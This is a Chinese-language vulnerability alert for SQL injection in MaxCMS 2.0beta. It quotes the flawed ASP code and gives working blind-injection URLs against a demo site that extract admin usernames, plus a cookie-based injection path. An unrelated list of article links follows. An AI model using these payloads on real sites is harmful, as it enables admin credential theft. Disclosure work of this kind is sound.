马克斯CMS2.0beta (maxcms)SQL注入漏洞漏洞预警 -电脑资料

作者:flyh4t

http://bbs.wolvez.org

关键字:首页-马克斯CMS2.0

这个系统是国内非常流行的视频点播系统,之前的1.5版本漏洞非常多,2.0版本在安全方面有所提高,但是依然有漏洞存在,

马克斯CMS2.0beta (maxcms)SQL注入漏洞漏洞预警

看代码

<PRE><CODE>\inc\ajax.aspdim action : action = getForm("action", "get")response.Charset="gbk"Select case action case "newslist" : viewNewsList case "newscontent" : viewNewsContent case "digg","tread" : scoreVideo(action) case "reporterr" : reportErr case "hit" : updateHit case else : mainEnd SelectterminateAllObjects……Sub scoreVideo(operType) dim sql,id,digg,returnValue : id=getForm("id","get") ‘通过get方式获取id的值 if rCookie("maxcms2_score"&id)="ok" then die "havescore" if isNul(id) then die "err" 'on error resume next digg=conn.db("select m_digg from {pre}data where m_id="&id,"execute")(0) ‘ 参数id,没有过滤就带入sql语句进行查询 if err then digg=0 : err.clear() if not isNum(id) then echoSaveStr "safe" else id=clng(id) ‘ 查询到digg,注意返回的内容……</CODE></PRE>

利用就很简单了,构造sql语句提交(默认结构是m_manager,m_username,m_pwd,根据返回的内容判断就可以了。如果构造的语句是正确的,就返回类似警告

你提交的数据有非法字符,你的IP【xxxx】已被记录,操作

构造的语句不正确,则返回500

Poc :

<PRE><CODE>正确的:http://demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=97不正确的:http://demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=99</CODE></PRE>

其实随便找个注射工具跑一下就ok了

另外一处注射

<PRE><CODE>Sub checkPower dim loginValidate,rsObj : loginValidate = "maxcms2.0" err.clear on error resume next set rsObj=conn.db("select m_random,m_level from {pre}manager where m_username='"&rCookie("m_username")&"'","execute") loginValidate = md5(getAgent&getIp&rsObj(0)) if err then wCookie "check"&rCookie("m_username"),"" : die "<

;script>top.location.href='index.asp?action=login';</script>" if rCookie("check"&rCookie("m_username"))<>loginValidate then wCookie "check"&rCookie("m_username"),"" : die "<script>top.location.href='index.asp?action=login';</script>" checkManagerLevel rsObj(1) set rsObj=nothingEnd Sub</CODE></PRE>

其中

<PRE><CODE>Function rCookie(cookieName) rCookie = request.cookies(cookieName)End Function</CODE></PRE>

通过伪造cookie中m_username的值可以进行注射

不过要知道后台管理目录,默认是/admin/,多个页面可以触发改函数

比如 /admin/admin_ajax.asp

相关文章

邀请外国人来华邀请函

邀请函有很多注意点,最重要的就是简要精练。在当今社会生活中,邀请函在现实生活中使用广泛,那么你真正懂得怎么写好邀请函吗?下面是小编收集整理的邀请外国人来华邀请函7篇,欢迎阅读,希望大家能够喜欢。邀请外...
资料大全2014-06-08
邀请外国人来华邀请函

马蹄的功效与作用及方法

核心提示:马蹄又称荸荠。据说原产于印度,但不可信,因为中国西汉时已经记载它,应该是原产于亚洲较广大的区域。我国是盛产马蹄的地方,以我国南方的南岭山脉产区为最好,其中,以九峰山麓的北乡产区为最。种植马蹄...
资料大全2013-05-09
马蹄的功效与作用及方法

元旦放假通知

现如今,越来越多地方需要用到通知,上级单位向下级单位对某一项工作的布置、要求、意见等往往用通知的形式传达。怎么写通知才能避免踩雷呢?下面是小编收集整理的元旦放假通知,欢迎阅读,希望大家能够喜欢。  元...
资料大全2017-08-08
元旦放假通知

安全急救小常识有哪些呢

生活并不是总是一帆风顺的,总是顺利的,总会有一些意外的事情出现,只要我们及时的应对,就能避免了更为严重的后果,俗话说的好身体是革命的本钱,我们要爱护我们的身体。所以在遇到突发事件的时候,我们应该掌握足...
资料大全2011-04-02
安全急救小常识有哪些呢

保险公司口号大全

口号自古以来就是增加士气的一种文字方式,下面是unjs小编为大家分享有关保险公司口号大全,欢迎大家来阅读!1.战力等于兵力乘装备乘技术乘精神,保险公司口号大全。2.增员增组织,增股增希...
资料大全2014-06-01
保险公司口号大全

体育的教学计划

人生天地之间,若白驹过隙,忽然而已,我们的工作又将在忙碌中充实着,在喜悦中收获着,是时候开始制定计划了。我们该怎么拟定计划呢?以下是小编为大家收集的体育的教学计划,希望能够帮助到大家。  体育的教学计...
资料大全2014-07-08
体育的教学计划